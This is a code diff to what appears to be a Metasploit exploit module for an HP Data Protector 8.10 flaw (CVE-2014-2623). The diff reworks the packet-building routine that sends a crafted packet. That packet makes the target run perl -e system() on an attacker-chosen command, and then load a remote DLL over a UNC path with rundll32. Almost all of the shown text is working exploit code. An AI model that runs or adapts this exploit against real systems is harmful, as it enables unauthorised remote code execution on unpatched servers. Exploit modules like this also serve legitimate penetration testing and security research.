@@ -26,8 +26,9 @@ def initialize(info={})
2626 'References' =>
2727 [
2828 [ 'CVE' , '2014-2623' ] ,
29+ [ 'OSVDB' , '109069' ] ,
2930 [ 'EDB' , '34066' ] ,
30- [ 'URL' , 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818' ] ,
31+ [ 'URL' , 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818' ]
3132 ] ,
3233 'DefaultOptions' =>
3334 {
@@ -37,7 +38,7 @@ def initialize(info={})
3738 'Platform' => 'win' ,
3839 'Targets' =>
3940 [
40- [ 'HP Data Protector 8.10' , { 'Offset' => 46 } ] ,
41+ [ 'HP Data Protector 8.10 / Windows' , { } ] ,
4142 ] ,
4243 'DefaultTarget' => 0 ,
4344 'DisclosureDate' => 'Nov 02 2014' ) )
@@ -90,21 +91,21 @@ def get_fingerprint
9091 Rex ::Text . to_ascii ( resp ) . chop . chomp # Delete unicode last null
9192 end
9293
93- def exec_bar ( cmd )
94+ def send_pkt ( cmd )
9495 cmd . gsub! ( "\\ " , "\\ \\ \\ \\ " )
9596
96- cmd_no = target [ 'Offset' ] + cmd . length
97-
98- pkt = "\x00 \x00 \x00 "
99- pkt << cmd_no
100- pkt << "\x32 \x00 \ x01\x01 \x01 \x01 \x01 \x01 \ x00\x01 \x00 \x01 "
101- pkt << "\x00 \ x01\x00 \ x01\x01 \ x00\x20 \x32 \x38 \x00 \x5c \x70 "
102- pkt << "\x65 \x72 \x6c \x2e \x65 \x78 \x65 \ x00\x20 \x2d \x65 \x73 \x79 \x73 \x74 \x65 \x6d " # perl -e system('cmd')
103- pkt << "(' #{ cmd } ')" # Executable
104- pkt << "\x00 "
97+ pkt = "2 \x00 "
98+ pkt << " \x01 \x01 \x01 \x01 \x01 \x01 \x00 "
99+ pkt << "\x01 \x00 "
100+ pkt << " \x01 \x00 "
101+ pkt << "\x01 \x00 "
102+ pkt << "\x01 \x01 \x00 "
103+ pkt << "28 \ x00"
104+ pkt << "\\ perl.exe \x00 "
105+ pkt << "-esystem(' #{ cmd } ') \x00 "
105106
106107 connect
107- sock . put ( pkt )
108+ sock . put ( [ pkt . length ] . pack ( 'N' ) + pkt )
108109 disconnect
109110 end
110111
@@ -114,6 +115,6 @@ def primer
114115
115116 print_status ( "#{ peer } - Trying to execute remote DLL..." )
116117 sploit = "rundll32.exe #{ unc } ,#{ rand_text_numeric ( 1 ) } "
117- exec_bar ( sploit )
118+ send_pkt ( sploit )
118119 end
119120end
0 commit comments